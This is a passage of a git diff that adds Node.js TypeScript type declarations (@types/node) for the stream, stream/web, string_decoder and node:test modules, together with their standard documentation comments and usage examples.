extends PipelineDestination, + >( + source: A, + transform1: T1, + destination: B, + options?: PipelineOptions, + ): PipelinePromise; + function __promisify__< + A extends PipelineSource, + T1 extends PipelineTransform, + T2 extends PipelineTransform, + B extends PipelineDestination, + >( + source: A, + transform1: T1, + transform2: T2, + destination: B, + options?: PipelineOptions, + ): PipelinePromise; + function __promisify__< + A extends PipelineSource, + T1 extends PipelineTransform, + T2 extends PipelineTransform, + T3 extends PipelineTransform, + B extends PipelineDestination, + >( + source: A, + transform1: T1, + transform2: T2, + transform3: T3, + destination: B, + options?: PipelineOptions, + ): PipelinePromise; + function __promisify__< + A extends PipelineSource, + T1 extends PipelineTransform, + T2 extends PipelineTransform, + T3 extends PipelineTransform, + T4 extends PipelineTransform, + B extends PipelineDestination, + >( + source: A, + transform1: T1, + transform2: T2, + transform3: T3, + transform4: T4, + destination: B, + options?: PipelineOptions, + ): PipelinePromise; + function __promisify__( + streams: ReadonlyArray, + options?: PipelineOptions, + ): Promise; + function __promisify__( + stream1: NodeJS.ReadableStream, + stream2: NodeJS.ReadWriteStream | NodeJS.WritableStream, + ...streams: Array + ): Promise; + } + interface Pipe { + close(): void; + hasRef(): boolean; + ref(): void; + unref(): void; + } + /** + * Returns whether the stream has encountered an error. + * @since v17.3.0, v16.14.0 + * @experimental + */ + function isErrored(stream: Readable | Writable | NodeJS.ReadableStream | NodeJS.WritableStream): boolean; + /** + * Returns whether the stream is readable. + * @since v17.4.0, v16.14.0 + * @experimental + */ + function isReadable(stream: Readable | NodeJS.ReadableStream): boolean; + const promises: typeof streamPromises; + const consumers: typeof streamConsumers; + } + export = internal; +} +declare module "node:stream" { + import stream = require("stream"); + export = stream; +} diff --git a/node_modules/@types/node/stream/consumers.d.ts b/node_modules/@types/node/stream/consumers.d.ts new file mode 100644 index 000000000000..5ad9cbab9882 --- /dev/null +++ b/node_modules/@types/node/stream/consumers.d.ts @@ -0,0 +1,12 @@ +declare module "stream/consumers" { + import { Blob as NodeBlob } from "node:buffer"; + import { Readable } from "node:stream"; + function buffer(stream: NodeJS.ReadableStream | Readable | AsyncIterable): Promise; + function text(stream: NodeJS.ReadableStream | Readable | AsyncIterable): Promise; + function arrayBuffer(stream: NodeJS.ReadableStream | Readable | AsyncIterable): Promise; + function blob(stream: NodeJS.ReadableStream | Readable | AsyncIterable): Promise; + function json(stream: NodeJS.ReadableStream | Readable | AsyncIterable): Promise; +} +declare module "node:stream/consumers" { + export * from "stream/consumers"; +} diff --git a/node_modules/@types/node/stream/promises.d.ts b/node_modules/@types/node/stream/promises.d.ts new file mode 100644 index 000000000000..6eac5b7156a6 --- /dev/null +++ b/node_modules/@types/node/stream/promises.d.ts @@ -0,0 +1,83 @@ +declare module "stream/promises" { + import { + FinishedOptions, + PipelineDestination, + PipelineOptions, + PipelinePromise, + PipelineSource, + PipelineTransform, + } from "node:stream"; + function finished( + stream: NodeJS.ReadableStream | NodeJS.WritableStream | NodeJS.ReadWriteStream, + options?: FinishedOptions, + ): Promise; + function pipeline, B extends PipelineDestination>( + source: A, + destination: B, + options?: PipelineOptions, + ): PipelinePromise; + function pipeline< + A extends PipelineSource, + T1 extends PipelineTransform, + B extends PipelineDestination, + >( + source: A, + transform1: T1, + destination: B, + options?: PipelineOptions, + ): PipelinePromise; + function pipeline< + A extends PipelineSource, + T1 extends PipelineTransform, + T2 extends PipelineTransform, + B extends PipelineDestination, + >( + source: A, + transform1: T1, + transform2: T2, + destination: B, + options?: PipelineOptions, + ): PipelinePromise; + function pipeline< + A extends PipelineSource, + T1 extends PipelineTransform, + T2 extends PipelineTransform, + T3 extends PipelineTransform, + B extends PipelineDestination, + >( + source: A, + transform1: T1, + transform2: T2, + transform3: T3, + destination: B, + options?: PipelineOptions, + ): PipelinePromise; + function pipeline< + A extends PipelineSource, + T1 extends PipelineTransform, + T2 extends PipelineTransform, + T3 extends PipelineTransform, + T4 extends PipelineTransform, + B extends PipelineDestination, + >( + source: A, + transform1: T1, + transform2: T2, + transform3: T3, + transform4: T4, + destination: B, + options?: PipelineOptions, + ): PipelinePromise; + function pipeline( + streams: ReadonlyArray, + options?: PipelineOptions, + ): Promise; + function pipeline( + stream1: NodeJS.ReadableStream, + stream2: NodeJS.ReadWriteStream | NodeJS.WritableStream, + ...streams: Array + ): Promise; +} +declare module "node:stream/promises" { + export * from "stream/promises"; +} diff --git a/node_modules/@types/node/stream/web.d.ts b/node_modules/@types/node/stream/web.d.ts new file mode 100644 index 000000000000..cb890ba1846a --- /dev/null +++ b/node_modules/@types/node/stream/web.d.ts @@ -0,0 +1,606 @@ +type _ByteLengthQueuingStrategy = typeof globalThis extends { onmessage: any } ? {} + : import("stream/web").ByteLengthQueuingStrategy; +type _CompressionStream = typeof globalThis extends { onmessage: any; ReportingObserver: any } ? {} + : import("stream/web").CompressionStream; +type _CountQueuingStrategy = typeof globalThis extends { onmessage: any } ? {} + : import("stream/web").CountQueuingStrategy; +type _DecompressionStream = typeof globalThis extends { onmessage: any; ReportingObserver: any } ? {} + : import("stream/web").DecompressionStream; +type _ReadableByteStreamController = typeof globalThis extends { onmessage: any } ? {} + : import("stream/web").ReadableByteStreamController; +type _ReadableStream = typeof globalThis extends { onmessage: any } ? {} + : import("stream/web").ReadableStream; +type _ReadableStreamBYOBReader = typeof globalThis extends { onmessage: any } ? {} + : import("stream/web").ReadableStreamBYOBReader; +type _ReadableStreamBYOBRequest = typeof globalThis extends { onmessage: any } ? {} + : import("stream/web").ReadableStreamBYOBRequest; +type _ReadableStreamDefaultController = typeof globalThis extends { onmessage: any } ? {} + : import("stream/web").ReadableStreamDefaultController; +type _ReadableStreamDefaultReader = typeof globalThis extends { onmessage: any } ? {} + : import("stream/web").ReadableStreamDefaultReader; +type _TextDecoderStream = typeof globalThis extends { onmessage: any } ? {} + : import("stream/web").TextDecoderStream; +type _TextEncoderStream = typeof globalThis extends { onmessage: any } ? {} + : import("stream/web").TextEncoderStream; +type _TransformStream = typeof globalThis extends { onmessage: any } ? {} + : import("stream/web").TransformStream; +type _TransformStreamDefaultController = typeof globalThis extends { onmessage: any } ? {} + : import("stream/web").TransformStreamDefaultController; +type _WritableStream = typeof globalThis extends { onmessage: any } ? {} + : import("stream/web").WritableStream; +type _WritableStreamDefaultController = typeof globalThis extends { onmessage: any } ? {} + : import("stream/web").WritableStreamDefaultController; +type _WritableStreamDefaultWriter = typeof globalThis extends { onmessage: any } ? {} + : import("stream/web").WritableStreamDefaultWriter; + +declare module "stream/web" { + // stub module, pending copy&paste from .d.ts or manual impl + // copy from lib.dom.d.ts + interface ReadableWritablePair { + readable: ReadableStream; + /** + * Provides a convenient, chainable way of piping this readable stream + * through a transform stream (or any other { writable, readable } + * pair). It simply pipes the stream into the writable side of the + * supplied pair, and returns the readable side for further use. + * + * Piping a stream will lock it for the duration of the pipe, preventing + * any other consumer from acquiring a reader. + */ + writable: WritableStream; + } + interface StreamPipeOptions { + preventAbort?: boolean; + preventCancel?: boolean; + /** + * Pipes this readable stream to a given writable stream destination. + * The way in which the piping process behaves under various error + * conditions can be customized with a number of passed options. It + * returns a promise that fulfills when the piping process completes + * successfully, or rejects if any errors were encountered. + * + * Piping a stream will lock it for the duration of the pipe, preventing + * any other consumer from acquiring a reader. + * + * Errors and closures of the source and destination streams propagate + * as follows: + * + * An error in this source readable stream will abort destination, + * unless preventAbort is truthy. The returned promise will be rejected + * with the source's error, or with any error that occurs during + * aborting the destination. + * + * An error in destination will cancel this source readable stream, + * unless preventCancel is truthy. The returned promise will be rejected + * with the destination's error, or with any error that occurs during + * canceling the source. + * + * When this source readable stream closes, destination will be closed, + * unless preventClose is truthy. The returned promise will be fulfilled + * once this process completes, unless an error is encountered while + * closing the destination, in which case it will be rejected with that + * error. + * + * If destination starts out closed or closing, this source readable + * stream will be canceled, unless preventCancel is true. The returned + * promise will be rejected with an error indicating piping to a closed + * stream failed, or with any error that occurs during canceling the + * source. + * + * The signal option can be set to an AbortSignal to allow aborting an + * ongoing pipe operation via the corresponding AbortController. In this + * case, this source readable stream will be canceled, and destination + * aborted, unless the respective options preventCancel or preventAbort + * are set. + */ + preventClose?: boolean; + signal?: AbortSignal; + } + interface ReadableStreamGenericReader { + readonly closed: Promise; + cancel(reason?: any): Promise; + } + type ReadableStreamController = ReadableStreamDefaultController; + interface ReadableStreamReadValueResult { + done: false; + value: T; + } + interface ReadableStreamReadDoneResult { + done: true; + value?: T; + } + type ReadableStreamReadResult = ReadableStreamReadValueResult | ReadableStreamReadDoneResult; + interface ReadableByteStreamControllerCallback { + (controller: ReadableByteStreamController): void | PromiseLike; + } + interface UnderlyingSinkAbortCallback { + (reason?: any): void | PromiseLike; + } + interface UnderlyingSinkCloseCallback { + (): void | PromiseLike; + } + interface UnderlyingSinkStartCallback { + (controller: WritableStreamDefaultController): any; + } + interface UnderlyingSinkWriteCallback { + (chunk: W, controller: WritableStreamDefaultController): void | PromiseLike; + } + interface UnderlyingSourceCancelCallback { + (reason?: any): void | PromiseLike; + } + interface UnderlyingSourcePullCallback { + (controller: ReadableStreamController): void | PromiseLike; + } + interface UnderlyingSourceStartCallback { + (controller: ReadableStreamController): any; + } + interface TransformerFlushCallback { + (controller: TransformStreamDefaultController): void | PromiseLike; + } + interface TransformerStartCallback { + (controller: TransformStreamDefaultController): any; + } + interface TransformerTransformCallback { + (chunk: I, controller: TransformStreamDefaultController): void | PromiseLike; + } + interface UnderlyingByteSource { + autoAllocateChunkSize?: number; + cancel?: ReadableStreamErrorCallback; + pull?: ReadableByteStreamControllerCallback; + start?: ReadableByteStreamControllerCallback; + type: "bytes"; + } + interface UnderlyingSource { + cancel?: UnderlyingSourceCancelCallback; + pull?: UnderlyingSourcePullCallback; + start?: UnderlyingSourceStartCallback; + type?: undefined; + } + interface UnderlyingSink { + abort?: UnderlyingSinkAbortCallback; + close?: UnderlyingSinkCloseCallback; + start?: UnderlyingSinkStartCallback; + type?: undefined; + write?: UnderlyingSinkWriteCallback; + } + interface ReadableStreamErrorCallback { + (reason: any): void | PromiseLike; + } + /** This Streams API interface represents a readable stream of byte data. */ + interface ReadableStream { + readonly locked: boolean; + cancel(reason?: any): Promise; + getReader(options: { mode: "byob" }): ReadableStreamBYOBReader; + getReader(): ReadableStreamDefaultReader; + getReader(options?: ReadableStreamGetReaderOptions): ReadableStreamReader; + pipeThrough(transform: ReadableWritablePair, options?: StreamPipeOptions): ReadableStream; + pipeTo(destination: WritableStream, options?: StreamPipeOptions): Promise; + tee(): [ReadableStream, ReadableStream]; + values(options?: { preventCancel?: boolean }): AsyncIterableIterator; + [Symbol.asyncIterator](): AsyncIterableIterator; + } + const ReadableStream: { + prototype: ReadableStream; + from(iterable: Iterable | AsyncIterable): ReadableStream; + new(underlyingSource: UnderlyingByteSource, strategy?: QueuingStrategy): ReadableStream; + new(underlyingSource?: UnderlyingSource, strategy?: QueuingStrategy): ReadableStream; + }; + type ReadableStreamReaderMode = "byob"; + interface ReadableStreamGetReaderOptions { + /** + * Creates a ReadableStreamBYOBReader and locks the stream to the new reader. + * + * This call behaves the same way as the no-argument variant, except that it only works on readable byte streams, i.e. streams which were constructed specifically with the ability to handle "bring your own buffer" reading. The returned BYOB reader provides the ability to directly read individual chunks from the stream via its read() method, into developer-supplied buffers, allowing more precise control over allocation. + */ + mode?: ReadableStreamReaderMode; + } + type ReadableStreamReader = ReadableStreamDefaultReader | ReadableStreamBYOBReader; + interface ReadableStreamDefaultReader extends ReadableStreamGenericReader { + read(): Promise>; + releaseLock(): void; + } + /** [MDN Reference](https://developer.mozilla.org/docs/Web/API/ReadableStreamBYOBReader) */ + interface ReadableStreamBYOBReader extends ReadableStreamGenericReader { + /** [MDN Reference](https://developer.mozilla.org/docs/Web/API/ReadableStreamBYOBReader/read) */ + read(view: T): Promise>; + /** [MDN Reference](https://developer.mozilla.org/docs/Web/API/ReadableStreamBYOBReader/releaseLock) */ + releaseLock(): void; + } + const ReadableStreamDefaultReader: { + prototype: ReadableStreamDefaultReader; + new(stream: ReadableStream): ReadableStreamDefaultReader; + }; + const ReadableStreamBYOBReader: { + prototype: ReadableStreamBYOBReader; + new(stream: ReadableStream): ReadableStreamBYOBReader; + }; + /** [MDN Reference](https://developer.mozilla.org/docs/Web/API/ReadableStreamBYOBRequest) */ + interface ReadableStreamBYOBRequest { + /** [MDN Reference](https://developer.mozilla.org/docs/Web/API/ReadableStreamBYOBRequest/view) */ + readonly view: ArrayBufferView | null; + /** [MDN Reference](https://developer.mozilla.org/docs/Web/API/ReadableStreamBYOBRequest/respond) */ + respond(bytesWritten: number): void; + /** [MDN Reference](https://developer.mozilla.org/docs/Web/API/ReadableStreamBYOBRequest/respondWithNewView) */ + respondWithNewView(view: ArrayBufferView): void; + } + const ReadableStreamBYOBRequest: { + prototype: ReadableStreamBYOBRequest; + new(): ReadableStreamBYOBRequest; + }; + interface ReadableByteStreamController { + readonly byobRequest: undefined; + readonly desiredSize: number | null; + close(): void; + enqueue(chunk: ArrayBufferView): void; + error(error?: any): void; + } + const ReadableByteStreamController: { + prototype: ReadableByteStreamController; + new(): ReadableByteStreamController; + }; + interface ReadableStreamDefaultController { + readonly desiredSize: number | null; + close(): void; + enqueue(chunk?: R): void; + error(e?: any): void; + } + const ReadableStreamDefaultController: { + prototype: ReadableStreamDefaultController; + new(): ReadableStreamDefaultController; + }; + interface Transformer { + flush?: TransformerFlushCallback; + readableType?: undefined; + start?: TransformerStartCallback; + transform?: TransformerTransformCallback; + writableType?: undefined; + } + interface TransformStream { + readonly readable: ReadableStream; + readonly writable: WritableStream; + } + const TransformStream: { + prototype: TransformStream; + new( + transformer?: Transformer, + writableStrategy?: QueuingStrategy, + readableStrategy?: QueuingStrategy, + ): TransformStream; + }; + interface TransformStreamDefaultController { + readonly desiredSize: number | null; + enqueue(chunk?: O): void; + error(reason?: any): void; + terminate(): void; + } + const TransformStreamDefaultController: { + prototype: TransformStreamDefaultController; + new(): TransformStreamDefaultController; + }; + /** + * This Streams API interface provides a standard abstraction for writing + * streaming data to a destination, known as a sink. This object comes with + * built-in back pressure and queuing. + */ + interface WritableStream { + readonly locked: boolean; + abort(reason?: any): Promise; + close(): Promise; + getWriter(): WritableStreamDefaultWriter; + } + const WritableStream: { + prototype: WritableStream; + new(underlyingSink?: UnderlyingSink, strategy?: QueuingStrategy): WritableStream; + }; + /** + * This Streams API interface is the object returned by + * WritableStream.getWriter() and once created locks the < writer to the + * WritableStream ensuring that no other streams can write to the underlying + * sink. + */ + interface WritableStreamDefaultWriter { + readonly closed: Promise; + readonly desiredSize: number | null; + readonly ready: Promise; + abort(reason?: any): Promise; + close(): Promise; + releaseLock(): void; + write(chunk?: W): Promise; + } + const WritableStreamDefaultWriter: { + prototype: WritableStreamDefaultWriter; + new(stream: WritableStream): WritableStreamDefaultWriter; + }; + /** + * This Streams API interface represents a controller allowing control of a + * WritableStream's state. When constructing a WritableStream, the + * underlying sink is given a corresponding WritableStreamDefaultController + * instance to manipulate. + */ + interface WritableStreamDefaultController { + error(e?: any): void; + } + const WritableStreamDefaultController: { + prototype: WritableStreamDefaultController; + new(): WritableStreamDefaultController; + }; + interface QueuingStrategy { + highWaterMark?: number; + size?: QueuingStrategySize; + } + interface QueuingStrategySize { + (chunk?: T): number; + } + interface QueuingStrategyInit { + /** + * Creates a new ByteLengthQueuingStrategy with the provided high water + * mark. + * + * Note that the provided high water mark will not be validated ahead of + * time. Instead, if it is negative, NaN, or not a number, the resulting + * ByteLengthQueuingStrategy will cause the corresponding stream + * constructor to throw. + */ + highWaterMark: number; + } + /** + * This Streams API interface provides a built-in byte length queuing + * strategy that can be used when constructing streams. + */ + interface ByteLengthQueuingStrategy extends QueuingStrategy { + readonly highWaterMark: number; + readonly size: QueuingStrategySize; + } + const ByteLengthQueuingStrategy: { + prototype: ByteLengthQueuingStrategy; + new(init: QueuingStrategyInit): ByteLengthQueuingStrategy; + }; + /** + * This Streams API interface provides a built-in byte length queuing + * strategy that can be used when constructing streams. + */ + interface CountQueuingStrategy extends QueuingStrategy { + readonly highWaterMark: number; + readonly size: QueuingStrategySize; + } + const CountQueuingStrategy: { + prototype: CountQueuingStrategy; + new(init: QueuingStrategyInit): CountQueuingStrategy; + }; + interface TextEncoderStream { + /** Returns "utf-8". */ + readonly encoding: "utf-8"; + readonly readable: ReadableStream; + readonly writable: WritableStream; + readonly [Symbol.toStringTag]: string; + } + const TextEncoderStream: { + prototype: TextEncoderStream; + new(): TextEncoderStream; + }; + interface TextDecoderOptions { + fatal?: boolean; + ignoreBOM?: boolean; + } + type BufferSource = ArrayBufferView | ArrayBuffer; + interface TextDecoderStream { + /** Returns encoding's name, lower cased. */ + readonly encoding: string; + /** Returns `true` if error mode is "fatal", and `false` otherwise. */ + readonly fatal: boolean; + /** Returns `true` if ignore BOM flag is set, and `false` otherwise. */ + readonly ignoreBOM: boolean; + readonly readable: ReadableStream; + readonly writable: WritableStream; + readonly [Symbol.toStringTag]: string; + } + const TextDecoderStream: { + prototype: TextDecoderStream; + new(encoding?: string, options?: TextDecoderOptions): TextDecoderStream; + }; + interface CompressionStream { + readonly readable: ReadableStream; + readonly writable: WritableStream; + } + const CompressionStream: { + prototype: CompressionStream; + new(format: "deflate" | "deflate-raw" | "gzip"): CompressionStream; + }; + interface DecompressionStream { + readonly writable: WritableStream; + readonly readable: ReadableStream; + } + const DecompressionStream: { + prototype: DecompressionStream; + new(format: "deflate" | "deflate-raw" | "gzip"): DecompressionStream; + }; + + global { + interface ByteLengthQueuingStrategy extends _ByteLengthQueuingStrategy {} + /** + * `ByteLengthQueuingStrategy` class is a global reference for `import { ByteLengthQueuingStrategy } from 'node:stream/web'`. + * https://nodejs.org/api/globals.html#class-bytelengthqueuingstrategy + * @since v18.0.0 + */ + var ByteLengthQueuingStrategy: typeof globalThis extends { onmessage: any; ByteLengthQueuingStrategy: infer T } + ? T + : typeof import("stream/web").ByteLengthQueuingStrategy; + + interface CompressionStream extends _CompressionStream {} + /** + * `CompressionStream` class is a global reference for `import { CompressionStream } from 'node:stream/web'`. + * https://nodejs.org/api/globals.html#class-compressionstream + * @since v18.0.0 + */ + var CompressionStream: typeof globalThis extends { + onmessage: any; + // CompressionStream, DecompressionStream and ReportingObserver was introduced in the same commit. + // If ReportingObserver check is removed, the type here will form a circular reference in TS5.0+lib.dom.d.ts + ReportingObserver: any; + CompressionStream: infer T; + } ? T + // TS 4.8, 4.9, 5.0 + : typeof globalThis extends { onmessage: any; TransformStream: { prototype: infer T } } ? { + prototype: T; + new(format: "deflate" | "deflate-raw" | "gzip"): T; + } + : typeof import("stream/web").CompressionStream; + + interface CountQueuingStrategy extends _CountQueuingStrategy {} + /** + * `CountQueuingStrategy` class is a global reference for `import { CountQueuingStrategy } from 'node:stream/web'`. + * https://nodejs.org/api/globals.html#class-countqueuingstrategy + * @since v18.0.0 + */ + var CountQueuingStrategy: typeof globalThis extends { onmessage: any; CountQueuingStrategy: infer T } ? T + : typeof import("stream/web").CountQueuingStrategy; + + interface DecompressionStream extends _DecompressionStream {} + /** + * `DecompressionStream` class is a global reference for `import { DecompressionStream } from 'node:stream/web'`. + * https://nodejs.org/api/globals.html#class-decompressionstream + * @since v18.0.0 + */ + var DecompressionStream: typeof globalThis extends { + onmessage: any; + // CompressionStream, DecompressionStream and ReportingObserver was introduced in the same commit. + // If ReportingObserver check is removed, the type here will form a circular reference in TS5.0+lib.dom.d.ts + ReportingObserver: any; + DecompressionStream: infer T extends object; + } ? T + // TS 4.8, 4.9, 5.0 + : typeof globalThis extends { onmessage: any; TransformStream: { prototype: infer T } } ? { + prototype: T; + new(format: "deflate" | "deflate-raw" | "gzip"): T; + } + : typeof import("stream/web").DecompressionStream; + + interface ReadableByteStreamController extends _ReadableByteStreamController {} + /** + * `ReadableByteStreamController` class is a global reference for `import { ReadableByteStreamController } from 'node:stream/web'`. + * https://nodejs.org/api/globals.html#class-readablebytestreamcontroller + * @since v18.0.0 + */ + var ReadableByteStreamController: typeof globalThis extends + { onmessage: any; ReadableByteStreamController: infer T } ? T + : typeof import("stream/web").ReadableByteStreamController; + + interface ReadableStream extends _ReadableStream {} + /** + * `ReadableStream` class is a global reference for `import { ReadableStream } from 'node:stream/web'`. + * https://nodejs.org/api/globals.html#class-readablestream + * @since v18.0.0 + */ + var ReadableStream: typeof globalThis extends { onmessage: any; ReadableStream: infer T } ? T + : typeof import("stream/web").ReadableStream; + + interface ReadableStreamBYOBReader extends _ReadableStreamBYOBReader {} + /** + * `ReadableStreamBYOBReader` class is a global reference for `import { ReadableStreamBYOBReader } from 'node:stream/web'`. + * https://nodejs.org/api/globals.html#class-readablestreambyobreader + * @since v18.0.0 + */ + var ReadableStreamBYOBReader: typeof globalThis extends { onmessage: any; ReadableStreamBYOBReader: infer T } + ? T + : typeof import("stream/web").ReadableStreamBYOBReader; + + interface ReadableStreamBYOBRequest extends _ReadableStreamBYOBRequest {} + /** + * `ReadableStreamBYOBRequest` class is a global reference for `import { ReadableStreamBYOBRequest } from 'node:stream/web'`. + * https://nodejs.org/api/globals.html#class-readablestreambyobrequest + * @since v18.0.0 + */ + var ReadableStreamBYOBRequest: typeof globalThis extends { onmessage: any; ReadableStreamBYOBRequest: infer T } + ? T + : typeof import("stream/web").ReadableStreamBYOBRequest; + + interface ReadableStreamDefaultController extends _ReadableStreamDefaultController {} + /** + * `ReadableStreamDefaultController` class is a global reference for `import { ReadableStreamDefaultController } from 'node:stream/web'`. + * https://nodejs.org/api/globals.html#class-readablestreamdefaultcontroller + * @since v18.0.0 + */ + var ReadableStreamDefaultController: typeof globalThis extends + { onmessage: any; ReadableStreamDefaultController: infer T } ? T + : typeof import("stream/web").ReadableStreamDefaultController; + + interface ReadableStreamDefaultReader extends _ReadableStreamDefaultReader {} + /** + * `ReadableStreamDefaultReader` class is a global reference for `import { ReadableStreamDefaultReader } from 'node:stream/web'`. + * https://nodejs.org/api/globals.html#class-readablestreamdefaultreader + * @since v18.0.0 + */ + var ReadableStreamDefaultReader: typeof globalThis extends + { onmessage: any; ReadableStreamDefaultReader: infer T } ? T + : typeof import("stream/web").ReadableStreamDefaultReader; + + interface TextDecoderStream extends _TextDecoderStream {} + /** + * `TextDecoderStream` class is a global reference for `import { TextDecoderStream } from 'node:stream/web'`. + * https://nodejs.org/api/globals.html#class-textdecoderstream + * @since v18.0.0 + */ + var TextDecoderStream: typeof globalThis extends { onmessage: any; TextDecoderStream: infer T } ? T + : typeof import("stream/web").TextDecoderStream; + + interface TextEncoderStream extends _TextEncoderStream {} + /** + * `TextEncoderStream` class is a global reference for `import { TextEncoderStream } from 'node:stream/web'`. + * https://nodejs.org/api/globals.html#class-textencoderstream + * @since v18.0.0 + */ + var TextEncoderStream: typeof globalThis extends { onmessage: any; TextEncoderStream: infer T } ? T + : typeof import("stream/web").TextEncoderStream; + + interface TransformStream extends _TransformStream {} + /** + * `TransformStream` class is a global reference for `import { TransformStream } from 'node:stream/web'`. + * https://nodejs.org/api/globals.html#class-transformstream + * @since v18.0.0 + */ + var TransformStream: typeof globalThis extends { onmessage: any; TransformStream: infer T } ? T + : typeof import("stream/web").TransformStream; + + interface TransformStreamDefaultController extends _TransformStreamDefaultController {} + /** + * `TransformStreamDefaultController` class is a global reference for `import { TransformStreamDefaultController } from 'node:stream/web'`. + * https://nodejs.org/api/globals.html#class-transformstreamdefaultcontroller + * @since v18.0.0 + */ + var TransformStreamDefaultController: typeof globalThis extends + { onmessage: any; TransformStreamDefaultController: infer T } ? T + : typeof import("stream/web").TransformStreamDefaultController; + + interface WritableStream extends _WritableStream {} + /** + * `WritableStream` class is a global reference for `import { WritableStream } from 'node:stream/web'`. + * https://nodejs.org/api/globals.html#class-writablestream + * @since v18.0.0 + */ + var WritableStream: typeof globalThis extends { onmessage: any; WritableStream: infer T } ? T + : typeof import("stream/web").WritableStream; + + interface WritableStreamDefaultController extends _WritableStreamDefaultController {} + /** + * `WritableStreamDefaultController` class is a global reference for `import { WritableStreamDefaultController } from 'node:stream/web'`. + * https://nodejs.org/api/globals.html#class-writablestreamdefaultcontroller + * @since v18.0.0 + */ + var WritableStreamDefaultController: typeof globalThis extends + { onmessage: any; WritableStreamDefaultController: infer T } ? T + : typeof import("stream/web").WritableStreamDefaultController; + + interface WritableStreamDefaultWriter extends _WritableStreamDefaultWriter {} + /** + * `WritableStreamDefaultWriter` class is a global reference for `import { WritableStreamDefaultWriter } from 'node:stream/web'`. + * https://nodejs.org/api/globals.html#class-writablestreamdefaultwriter + * @since v18.0.0 + */ + var WritableStreamDefaultWriter: typeof globalThis extends + { onmessage: any; WritableStreamDefaultWriter: infer T } ? T + : typeof import("stream/web").WritableStreamDefaultWriter; + } +} +declare module "node:stream/web" { + export * from "stream/web"; +} diff --git a/node_modules/@types/node/string_decoder.d.ts b/node_modules/@types/node/string_decoder.d.ts new file mode 100644 index 000000000000..350aace2bb38 --- /dev/null +++ b/node_modules/@types/node/string_decoder.d.ts @@ -0,0 +1,67 @@ +/** + * The `node:string_decoder` module provides an API for decoding `Buffer` objects + * into strings in a manner that preserves encoded multi-byte UTF-8 and UTF-16 + * characters. It can be accessed using: + * + * ```js + * import { StringDecoder } from 'node:string_decoder'; + * ``` + * + * The following example shows the basic use of the `StringDecoder` class. + * + * ```js + * import { StringDecoder } from 'node:string_decoder'; + * const decoder = new StringDecoder('utf8'); + * + * const cent = Buffer.from([0xC2, 0xA2]); + * console.log(decoder.write(cent)); // Prints: ¢ + * + * const euro = Buffer.from([0xE2, 0x82, 0xAC]); + * console.log(decoder.write(euro)); // Prints: € + * ``` + * + * When a `Buffer` instance is written to the `StringDecoder` instance, an + * internal buffer is used to ensure that the decoded string does not contain + * any incomplete multibyte characters. These are held in the buffer until the + * next call to `stringDecoder.write()` or until `stringDecoder.end()` is called. + * + * In the following example, the three UTF-8 encoded bytes of the European Euro + * symbol (`€`) are written over three separate operations: + * + * ```js + * import { StringDecoder } from 'node:string_decoder'; + * const decoder = new StringDecoder('utf8'); + * + * decoder.write(Buffer.from([0xE2])); + * decoder.write(Buffer.from([0x82])); + * console.log(decoder.end(Buffer.from([0xAC]))); // Prints: € + * ``` + * @see [source](https://github.com/nodejs/node/blob/v22.x/lib/string_decoder.js) + */ +declare module "string_decoder" { + class StringDecoder { + constructor(encoding?: BufferEncoding); + /** + * Returns a decoded string, ensuring that any incomplete multibyte characters at + * the end of the `Buffer`, or `TypedArray`, or `DataView` are omitted from the + * returned string and stored in an internal buffer for the next call to `stringDecoder.write()` or `stringDecoder.end()`. + * @since v0.1.99 + * @param buffer The bytes to decode. + */ + write(buffer: string | Buffer | NodeJS.ArrayBufferView): string; + /** + * Returns any remaining input stored in the internal buffer as a string. Bytes + * representing incomplete UTF-8 and UTF-16 characters will be replaced with + * substitution characters appropriate for the character encoding. + * + * If the `buffer` argument is provided, one final call to `stringDecoder.write()` is performed before returning the remaining input. + * After `end()` is called, the `stringDecoder` object can be reused for new input. + * @since v0.9.3 + * @param buffer The bytes to decode. + */ + end(buffer?: string | Buffer | NodeJS.ArrayBufferView): string; + } +} +declare module "node:string_decoder" { + export * from "string_decoder"; +} diff --git a/node_modules/@types/node/test.d.ts b/node_modules/@types/node/test.d.ts new file mode 100644 index 000000000000..42ff08e12e6f --- /dev/null +++ b/node_modules/@types/node/test.d.ts @@ -0,0 +1,2098 @@ +/** + * The `node:test` module facilitates the creation of JavaScript tests. + * To access it: + * + * ```js + * import test from 'node:test'; + * ``` + * + * This module is only available under the `node:` scheme. The following will not + * work: + * + * ```js + * import test from 'node:test'; + * ``` + * + * Tests created via the `test` module consist of a single function that is + * processed in one of three ways: + * + * 1. A synchronous function that is considered failing if it throws an exception, + * and is considered passing otherwise. + * 2. A function that returns a `Promise` that is considered failing if the `Promise` rejects, and is considered passing if the `Promise` fulfills. + * 3. A function that receives a callback function. If the callback receives any + * truthy value as its first argument, the test is considered failing. If a + * falsy value is passed as the first argument to the callback, the test is + * considered passing. If the test function receives a callback function and + * also returns a `Promise`, the test will fail. + * + * The following example illustrates how tests are written using the `test` module. + * + * ```js + * test('synchronous passing test', (t) => { + * // This test passes because it does not throw an exception. + * assert.strictEqual(1, 1); + * }); + * + * test('synchronous failing test', (t) => { + * // This test fails because it throws an exception. + * assert.strictEqual(1, 2); + * }); + * + * test('asynchronous passing test', async (t) => { + * // This test passes because the Promise returned by the async + * // function is settled and not rejected. + * assert.strictEqual(1, 1); + * }); + * + * test('asynchronous failing test', async (t) => { + * // This test fails because the Promise returned by the async + * // function is rejected. + * assert.strictEqual(1, 2); + * }); + * + * test('failing test using Promises', (t) => { + * // Promises can be used directly as well. + * return new Promise((resolve, reject) => { + * setImmediate(() => { + * reject(new Error('this will cause the test to fail')); + * }); + * }); + * }); + * + * test('callback passing test', (t, done) => { + * // done() is the callback function. When the setImmediate() runs, it invokes + * // done() with no arguments. + * setImmediate(done); + * }); + * + * test('callback failing test', (t, done) => { + * // When the setImmediate() runs, done() is invoked with an Error object and + * // the test fails. + * setImmediate(() => { + * done(new Error('callback failure')); + * }); + * }); + * ``` + * + * If any tests fail, the process exit code is set to `1`. + * @since v18.0.0, v16.17.0 + * @see [source](https://github.com/nodejs/node/blob/v22.x/lib/test.js) + */ +declare module "node:test" { + import { Readable } from "node:stream"; + /** + * **Note:** `shard` is used to horizontally parallelize test running across + * machines or processes, ideal for large-scale executions across varied + * environments. It's incompatible with `watch` mode, tailored for rapid + * code iteration by automatically rerunning tests on file changes. + * + * ```js + * import { tap } from 'node:test/reporters'; + * import { run } from 'node:test'; + * import process from 'node:process'; + * import path from 'node:path'; + * + * run({ files: [path.resolve('./tests/test.js')] }) + * .compose(tap) + * .pipe(process.stdout); + * ``` + * @since v18.9.0, v16.19.0 + * @param options Configuration options for running tests. + 